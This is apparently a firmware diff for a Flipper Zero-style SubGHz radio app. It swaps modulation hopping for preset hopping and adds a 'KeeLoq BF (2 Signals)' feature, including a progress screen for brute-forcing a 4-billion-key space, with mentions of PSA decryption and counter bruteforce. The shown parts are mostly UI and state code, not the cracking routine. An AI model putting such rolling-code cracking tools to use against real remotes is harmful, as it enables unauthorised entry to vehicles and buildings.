static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
@@ -313,33 +324,57 @@ static void subghz_scene_receiver_config_set_hopping(VariableItem* item) {
subghz->last_settings->hopping_threshold = hopping_mode_value[index];
subghz_txrx_hopper_set_state(
subghz->txrx, index != 0 ? SubGhzHopperStateRunning : SubGhzHopperStateOFF);
VariableItem* preset_hopping_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexPresetHopping);
variable_item_set_locked(
preset_hopping_item,
index != 0,
"Turn off\nHopping\nfirst!");
}
static void subghz_scene_receiver_config_set_mod_hop_dbm(VariableItem* item) {
static void subghz_scene_receiver_config_set_preset_hopping(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, mod_hop_dbm_text[index]);
subghz->last_settings->mod_hopping_threshold = mod_hop_dbm_value[index];
bool enabled = index != 0;
subghz_txrx_mod_hopper_set_running(
subghz->txrx,
enabled,
(uint8_t)subghz->last_settings->mod_hopping_dwell,
mod_hop_dbm_value[index]);
}
SubGhzSetting* setting = subghz_txrx_get_setting(subghz->txrx);
VariableItem* preset_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexModulation);
static void subghz_scene_receiver_config_set_mod_hop_time(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, mod_hop_time_text[index]);
subghz->last_settings->mod_hopping_dwell = mod_hop_time_ticks[index];
if(subghz_txrx_mod_hopper_get_running(subghz->txrx)) {
subghz_txrx_mod_hopper_set_running(
subghz->txrx,
true,
(uint8_t)mod_hop_time_ticks[index],
subghz->last_settings->mod_hopping_threshold);
variable_item_set_current_value_text(item, preset_hopping_mode_text[index]);
if(index == 0) {
SubGhzRadioPreset current_preset = subghz_txrx_get_preset(subghz->txrx);
const char* current_preset_name = furi_string_get_cstr(current_preset.name);
int current_preset_index = subghz_setting_get_inx_preset_by_name(setting, current_preset_name);
if(current_preset_index >= 0) {
subghz->last_settings->preset_index = current_preset_index;
}
variable_item_set_current_value_text(preset_item, current_preset_name);
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
subghz->last_settings->enable_preset_hopping = false;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
} else {
bool was_running = (subghz_txrx_preset_hopper_get_state(subghz->txrx) == SubGhzPresetHopperStateRunning);
if(was_running) {
subghz_txrx_preset_hopper_pause(subghz->txrx);
}
subghz->last_settings->preset_hopping_threshold = preset_hopping_mode_value[index];
variable_item_set_current_value_text(preset_item, " -----");
variable_item_set_current_value_index(preset_item, subghz->last_settings->preset_index);
subghz->last_settings->enable_preset_hopping = true;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateRunning);
}
VariableItem* hopping_item =
variable_item_list_get(subghz->variable_item_list, SubGhzSettingIndexHopping);
variable_item_set_locked(
hopping_item,
index != 0,
"Turn off\nPreset\nHopping\nfirst!");
}
static void subghz_scene_receiver_config_set_speaker(VariableItem* item) {
@@ -442,9 +477,9 @@ static void subghz_scene_receiver_config_var_list_enter_callback(void* context,
subghz_txrx_hopper_set_state(subghz->txrx, hopping_value[default_index]);
subghz->last_settings->enable_hopping = hopping_value[default_index];
subghz->last_settings->mod_hopping_threshold = NAN;
subghz->last_settings->mod_hopping_dwell = 20;
subghz_txrx_mod_hopper_set_running(subghz->txrx, false, 20, NAN);
subghz->last_settings->enable_preset_hopping = false;
subghz->last_settings->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
subghz_txrx_preset_hopper_set_state(subghz->txrx, SubGhzPresetHopperStateOFF);
variable_item_list_set_selected_item(subghz->variable_item_list, default_index);
variable_item_list_reset(subghz->variable_item_list);
@@ -509,47 +544,26 @@ void subghz_scene_receiver_config_on_enter(void* context) {
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, hopping_mode_text[value_index]);
// Mod Hop dBm
{
uint8_t mod_dbm_idx = 0; // OFF
float thresh = subghz->last_settings->mod_hopping_threshold;
if(!isnan(thresh)) {
for(uint8_t k = 1; k < MOD_HOP_DBM_COUNT; k++) {
if(mod_hop_dbm_value[k] == thresh) {
mod_dbm_idx = k;
break;
}
}
if(mod_dbm_idx == 0) mod_dbm_idx = 1; // fallback to -90
}
item = variable_item_list_add(
subghz->variable_item_list,
"Mod Hop dBm",
MOD_HOP_DBM_COUNT,
subghz_scene_receiver_config_set_mod_hop_dbm,
subghz);
variable_item_set_current_value_index(item, mod_dbm_idx);
variable_item_set_current_value_text(item, mod_hop_dbm_text[mod_dbm_idx]);
}
variable_item_set_locked(
item,
subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF,
"Turn off\nPreset\nHopping\nfirst!");
// Mod Hop Time
{
uint8_t mod_time_idx = 2; // default 2s
for(uint8_t k = 0; k < MOD_HOP_TIME_COUNT; k++) {
if(mod_hop_time_ticks[k] == subghz->last_settings->mod_hopping_dwell) {
mod_time_idx = k;
break;
}
}
item = variable_item_list_add(
subghz->variable_item_list,
"Mod Hop Time",
MOD_HOP_TIME_COUNT,
subghz_scene_receiver_config_set_mod_hop_time,
subghz);
variable_item_set_current_value_index(item, mod_time_idx);
variable_item_set_current_value_text(item, mod_hop_time_text[mod_time_idx]);
}
value_index = subghz_scene_receiver_config_preset_hopper_value_index(subghz);
item = variable_item_list_add(
subghz->variable_item_list,
"Preset Hopping",
PRESET_HOPPING_MODE_COUNT,
subghz_scene_receiver_config_set_preset_hopping,
subghz);
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, preset_hopping_mode_text[value_index]);
variable_item_set_locked(
item,
subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF,
"Turn off\nHopping\nfirst!");
}
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=

View File

@@ -17,7 +17,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
void subghz_scene_saved_menu_on_enter(void* context) {
SubGhz* subghz = context;
// Check protocol type for conditional menu items
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
bool is_psa_encrypted = false;
bool has_counter = false;
@@ -26,7 +25,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Protocol", proto)) {
if(furi_string_equal_str(proto, "PSA GROUP")) {
// Check if Type field is missing or zero (not yet decrypted)
FuriString* type_str = furi_string_alloc();
flipper_format_rewind(fff);
if(!flipper_format_read_string(fff, "Type", type_str) ||
@@ -39,29 +37,12 @@ void subghz_scene_saved_menu_on_enter(void* context) {
furi_string_free(proto);
}
// Check if protocol has a Cnt field (supports counter bruteforce)
if(fff) {
uint32_t cnt_tmp = 0;
flipper_format_rewind(fff);
bool got_uint = flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1);
FURI_LOG_I("SAVEDMENU", "Cnt uint32 read: %d val=%lu", (int)got_uint, (unsigned long)cnt_tmp);
if(got_uint) {
if(flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
has_counter = true;
} else {
FuriString* cnt_str = furi_string_alloc();
flipper_format_rewind(fff);
bool got_str = flipper_format_read_string(fff, "Cnt", cnt_str);
FURI_LOG_I("SAVEDMENU", "Cnt string read: %d val=%s", (int)got_str, got_str ? furi_string_get_cstr(cnt_str) : "N/A");
if(got_str && furi_string_size(cnt_str) > 0) {
has_counter = true;
}
furi_string_free(cnt_str);
}
FuriString* proto_dbg = furi_string_alloc();
flipper_format_rewind(fff);
flipper_format_read_string(fff, "Protocol", proto_dbg);
FURI_LOG_I("SAVEDMENU", "Protocol=%s has_counter=%d", furi_string_get_cstr(proto_dbg), (int)has_counter);
furi_string_free(proto_dbg);
}
submenu_add_item(

View File

@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
SubmenuIndexKeeloqKeys,
subghz_scene_start_submenu_callback,
subghz);
submenu_add_item(
subghz->submenu,
"KeeLoq BF (2 Signals)",
SubmenuIndexKeeloqBf2,
subghz_scene_start_submenu_callback,
subghz);
submenu_set_selected_item(
subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
return true;
} else if(event.event == SubmenuIndexKeeloqBf2) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
return true;
}
}
return false;

View File

@@ -10,4 +10,5 @@ enum SubmenuIndex {
SubmenuIndexProtocolList,
SubmenuIndexRadioSetting,
SubmenuIndexKeeloqKeys,
SubmenuIndexKeeloqBf2,
};

View File

@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
subghz->keeloq_keys_manager = NULL;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.sig1_path = furi_string_alloc();
subghz->keeloq_bf2.sig2_path = furi_string_alloc();
subghz->file_path = furi_string_alloc();
subghz->file_path_tmp = furi_string_alloc();
@@ -195,6 +200,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
SubGhzViewIdPsaDecrypt,
subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
view_dispatcher_add_view(
subghz->view_dispatcher,
SubGhzViewIdKeeloqDecrypt,
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
//init threshold rssi
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
@@ -306,6 +317,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
// KeeLoq Decrypt
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
// Read RAW
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
subghz_read_raw_free(subghz->subghz_read_raw);
@@ -353,7 +368,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
furi_string_free(subghz->file_path);
furi_string_free(subghz->file_path_tmp);
// KeeLoq key manager (may still be live if app exited from within the edit scene)
furi_string_free(subghz->keeloq_bf2.sig1_path);
furi_string_free(subghz->keeloq_bf2.sig2_path);
if(subghz->keeloq_keys_manager) {
subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
subghz->keeloq_keys_manager = NULL;

View File

@@ -9,6 +9,7 @@
#include "views/subghz_frequency_analyzer.h"
#include "views/subghz_read_raw.h"
#include "views/subghz_psa_decrypt.h"
#include "views/subghz_keeloq_decrypt.h"
#include <gui/gui.h>
#include <assets_icons.h>
@@ -74,6 +75,7 @@ struct SubGhz {
SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
SubGhzReadRAW* subghz_read_raw;
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
bool raw_send_only;
bool save_datetime_set;
@@ -102,13 +104,24 @@ struct SubGhz {
// KeeLoq key management
SubGhzKeeloqKeysManager* keeloq_keys_manager;
struct {
uint8_t key_bytes[8]; // ByteInput result
char name[65]; // TextInput result
uint16_t type; // selected learning type 1..8
bool is_new; // true = add, false = edit
size_t edit_index; // valid when is_new == false
uint8_t edit_step; // 0 = key, 1 = name, 2 = type
uint8_t key_bytes[8];
char name[65];
uint16_t type;
bool is_new;
size_t edit_index;
uint8_t edit_step;
} keeloq_edit;
struct {
uint32_t fix;
uint32_t hop1;
uint32_t hop2;
uint32_t serial;
bool sig1_loaded;
bool sig2_loaded;
FuriString* sig1_path;
FuriString* sig2_path;
} keeloq_bf2;
};
void subghz_blink_start(SubGhz* subghz);

View File

@@ -1,6 +1,5 @@
#include "subghz_last_settings.h"
#include "subghz_i.h"
#include <math.h>
#define TAG "SubGhzLastSettings"
@@ -14,8 +13,8 @@
#define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger"
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILE_NAMES "ProtocolNames"
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_ENABLE "Hopping"
#define SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_THRESHOLD "ModHopThreshold"
#define SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_DWELL "ModHopDwell"
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING "PresetHopping"
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD "PresetHoppingThreshold"
#define SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER "IgnoreFilter"
#define SUBGHZ_LAST_SETTING_FIELD_FILTER "Filter"
#define SUBGHZ_LAST_SETTING_FIELD_RSSI_THRESHOLD "RSSI"
@@ -48,8 +47,8 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
instance->filter = SubGhzProtocolFlag_Decodable;
instance->rssi = SUBGHZ_RAW_THRESHOLD_MIN;
instance->hopping_threshold = -90.0f;
instance->mod_hopping_threshold = NAN; // disabled by default
instance->mod_hopping_dwell = 20; // 2 seconds (20 × 100ms ticks)
instance->enable_preset_hopping = false;
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
instance->leds_and_amp = true;
Storage* storage = furi_record_open(RECORD_STORAGE);
@@ -103,19 +102,24 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
1)) {
flipper_format_rewind(fff_data_file);
}
if(!flipper_format_read_float(
if(!flipper_format_read_bool(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_THRESHOLD,
&instance->mod_hopping_threshold,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
&instance->enable_preset_hopping,
1)) {
instance->enable_preset_hopping = false;
flipper_format_rewind(fff_data_file);
}
if(!flipper_format_read_uint32(
float temp_preset_threshold = 0;
if(!flipper_format_read_float(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_DWELL,
&instance->mod_hopping_dwell,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
&temp_preset_threshold,
1)) {
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
flipper_format_rewind(fff_data_file);
} else {
instance->preset_hopping_threshold = temp_preset_threshold;
}
if(!flipper_format_read_uint32(
fff_data_file,
@@ -232,17 +236,17 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
file, SUBGHZ_LAST_SETTING_FIELD_HOPPING_ENABLE, &instance->enable_hopping, 1)) {
break;
}
if(!flipper_format_write_float(
if(!flipper_format_write_bool(
file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_THRESHOLD,
&instance->mod_hopping_threshold,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
&instance->enable_preset_hopping,
1)) {
break;
}
if(!flipper_format_write_uint32(
if(!flipper_format_write_float(
file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOP_DWELL,
&instance->mod_hopping_dwell,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
&instance->preset_hopping_threshold,
1)) {
break;
}

View File

@@ -12,21 +12,22 @@
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET 1
#define SUBGHZ_LAST_SETTING_DEFAULT_FREQUENCY 433920000
#define SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL 2
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD (-80.0f)
typedef struct {
uint32_t frequency;
uint32_t preset_index; // AKA Modulation
uint32_t preset_index;
uint32_t frequency_analyzer_feedback_level;
float frequency_analyzer_trigger;
bool protocol_file_names;
bool enable_hopping;
float mod_hopping_threshold; // RSSI threshold for mod hopping, NAN = disabled
uint32_t mod_hopping_dwell; // Dwell time in ticks (100ms units)
uint32_t ignore_filter;
uint32_t filter;
float rssi;
bool delete_old_signals;
float hopping_threshold;
bool enable_preset_hopping;
float preset_hopping_threshold;
bool leds_and_amp;
uint8_t tx_power;
} SubGhzLastSettings;

View File

@@ -0,0 +1,227 @@
#include "subghz_keeloq_decrypt.h"
#include <gui/elements.h>
#include <furi.h>
#define KL_TOTAL_KEYS 0x100000000ULL
struct SubGhzViewKeeloqDecrypt {
View* view;
SubGhzViewKeeloqDecryptCallback callback;
void* context;
};
typedef struct {
uint8_t progress;
uint32_t keys_tested;
uint32_t keys_per_sec;
uint32_t elapsed_sec;
uint32_t eta_sec;
bool done;
bool success;
FuriString* result_str;
char status_line[40];
} SubGhzKeeloqDecryptModel;
static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
if(count >= 1000000) {
snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
} else if(count >= 1000) {
snprintf(buf, len, "%luK", count / 1000);
} else {
snprintf(buf, len, "%lu", count);
}
}
static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
canvas_clear(canvas);
if(!model->done) {
canvas_set_font(canvas, FontPrimary);
if(model->status_line[0]) {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
} else {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
}
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
}
canvas_set_font(canvas, FontSecondary);
char keys_str[32];
char tested_buf[12];
subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
canvas_draw_str(canvas, 2, 38, keys_str);
char speed_str[40];
char speed_buf[12];
subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
uint32_t eta_m = model->eta_sec / 60;
uint32_t eta_s = model->eta_sec % 60;
if(eta_m > 0) {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lum %lus", speed_buf, eta_m, eta_s);
} else {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lus", speed_buf, eta_s);
}
canvas_draw_str(canvas, 2, 48, speed_str);
char elapsed_str[24];
uint32_t el_m = model->elapsed_sec / 60;
uint32_t el_s = model->elapsed_sec % 60;
if(el_m > 0) {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
} else {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
}
canvas_draw_str(canvas, 2, 58, elapsed_str);
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
}
}
}
static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
if(event->key == InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}
return true;
}
return false;
}
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
instance->view = view_alloc();
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
view_set_context(instance->view, instance);
view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->result_str = furi_string_alloc();
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
},
false);
return instance;
}
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ furi_string_free(model->result_str); },
false);
view_free(instance->view);
free(instance);
}
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
return instance->view;
}
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context) {
furi_check(instance);
instance->callback = callback;
instance->context = context;
}
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = progress;
model->keys_tested = keys_tested;
model->keys_per_sec = keys_per_sec;
model->elapsed_sec = elapsed_sec;
model->eta_sec = eta_sec;
},
true);
}
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->done = true;
model->success = success;
furi_string_set_str(model->result_str, result);
},
true);
}
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
furi_string_reset(model->result_str);
model->status_line[0] = '\0';
},
false);
}
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
if(status) {
strlcpy(model->status_line, status, sizeof(model->status_line));
} else {
model->status_line[0] = '\0';
}
},
true);
}

View File

@@ -0,0 +1,34 @@
#pragma once
#include <gui/view.h>
#include "../helpers/subghz_custom_event.h"
typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context);
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec);
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result);
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);

View File

@@ -11,8 +11,6 @@
#define TAG "LoaderApplications"
#define JS_RUNNER_APP "JS Runner"
struct LoaderApplications {
FuriThread* thread;
void (*closed_cb)(void*);
@@ -86,19 +84,13 @@ static bool loader_applications_item_callback(
FuriString* item_name) {
LoaderApplicationsApp* loader_applications_app = context;
furi_assert(loader_applications_app);
if(furi_string_end_with(path, ".fap")) {
return flipper_application_load_name_and_icon(
path, loader_applications_app->storage, icon_ptr, item_name);
} else {
path_extract_filename(path, item_name, false);
memcpy(*icon_ptr, icon_get_frame_data(&I_js_script_10px, 0), FAP_MANIFEST_MAX_ICON_SIZE);
return true;
}
return flipper_application_load_name_and_icon(
path, loader_applications_app->storage, icon_ptr, item_name);
}
static bool loader_applications_select_app(LoaderApplicationsApp* loader_applications_app) {
const DialogsFileBrowserOptions browser_options = {
.extension = ".fap|.js",
.extension = ".fap",
.skip_assets = true,
.icon = &I_unknown_10px,
.hide_ext = true,
@@ -152,12 +144,7 @@ static int32_t loader_applications_thread(void* p) {
view_holder_set_view(app->view_holder, loading_get_view(app->loading));
while(loader_applications_select_app(app)) {
if(!furi_string_end_with(app->file_path, ".js")) {
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
} else {
loader_applications_start_app(
app, JS_RUNNER_APP, furi_string_get_cstr(app->file_path));
}
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
}
// stop loading animation

View File

@@ -4,7 +4,6 @@ App(
apptype=FlipperAppType.METAPACKAGE,
provides=[
"updater_app",
"js_app",
# "archive",
],
)

View File

@@ -1,281 +0,0 @@
App(
appid="js_app",
name="JS Runner",
apptype=FlipperAppType.SYSTEM,
entry_point="js_app",
stack_size=2 * 1024,
resources="examples",
order=10,
provides=["js_app_start"],
sources=[
"js_app.c",
"js_modules.c",
"js_thread.c",
"js_value.c",
"plugin_api/app_api_table.cpp",
"views/console_view.c",
"modules/js_flipper.c",
"modules/js_tests.c",
],
)
App(
appid="js_app_start",
apptype=FlipperAppType.STARTUP,
entry_point="js_app_on_system_start",
order=110,
sources=["js_app.c"],
)
App(
appid="js_event_loop",
apptype=FlipperAppType.PLUGIN,
entry_point="js_event_loop_ep",
requires=["js_app"],
sources=[
"modules/js_event_loop/js_event_loop.c",
"modules/js_event_loop/js_event_loop_api_table.cpp",
],
)
App(
appid="js_gui",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_ep",
requires=["js_app"],
sources=["modules/js_gui/js_gui.c", "modules/js_gui/js_gui_api_table.cpp"],
)
App(
appid="js_gui__loading",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_loading_ep",
requires=["js_app"],
sources=["modules/js_gui/loading.c"],
)
App(
appid="js_gui__empty_screen",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_empty_screen_ep",
requires=["js_app"],
sources=["modules/js_gui/empty_screen.c"],
)
App(
appid="js_gui__submenu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_submenu_ep",
requires=["js_app"],
sources=["modules/js_gui/submenu.c"],
)
App(
appid="js_gui__text_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_text_input_ep",
requires=["js_app"],
sources=["modules/js_gui/text_input.c"],
)
App(
appid="js_gui__number_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_number_input_ep",
requires=["js_app"],
sources=["modules/js_gui/number_input.c"],
)
App(
appid="js_gui__button_panel",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_button_panel_ep",
requires=["js_app"],
sources=["modules/js_gui/button_panel.c"],
)
App(
appid="js_gui__popup",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_popup_ep",
requires=["js_app"],
sources=["modules/js_gui/popup.c"],
)
App(
appid="js_gui__button_menu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_button_menu_ep",
requires=["js_app"],
sources=["modules/js_gui/button_menu.c"],
)
App(
appid="js_gui__menu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_menu_ep",
requires=["js_app"],
sources=["modules/js_gui/menu.c"],
)
App(
appid="js_gui__vi_list",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_vi_list_ep",
requires=["js_app"],
sources=["modules/js_gui/vi_list.c"],
)
App(
appid="js_gui__byte_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_byte_input_ep",
requires=["js_app"],
sources=["modules/js_gui/byte_input.c"],
)
App(
appid="js_gui__text_box",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_text_box_ep",
requires=["js_app"],
sources=["modules/js_gui/text_box.c"],
)
App(
appid="js_gui__dialog",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_dialog_ep",
requires=["js_app"],
sources=["modules/js_gui/dialog.c"],
)
App(
appid="js_gui__file_picker",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_file_picker_ep",
requires=["js_app"],
sources=["modules/js_gui/file_picker.c"],
fap_libs=["assets"],
)
App(
appid="js_gui__widget",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_widget_ep",
requires=["js_app"],
sources=["modules/js_gui/widget.c"],
)
App(
appid="js_gui__icon",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_icon_ep",
requires=["js_app"],
sources=["modules/js_gui/icon.c"],
fap_libs=["assets"],
)
App(
appid="js_notification",
apptype=FlipperAppType.PLUGIN,
entry_point="js_notification_ep",
requires=["js_app"],
sources=["modules/js_notification.c"],
)
App(
appid="js_badusb",
apptype=FlipperAppType.PLUGIN,
entry_point="js_badusb_ep",
requires=["js_app"],
sources=["modules/js_badusb.c"],
)
App(
appid="js_serial",
apptype=FlipperAppType.PLUGIN,
entry_point="js_serial_ep",
requires=["js_app"],
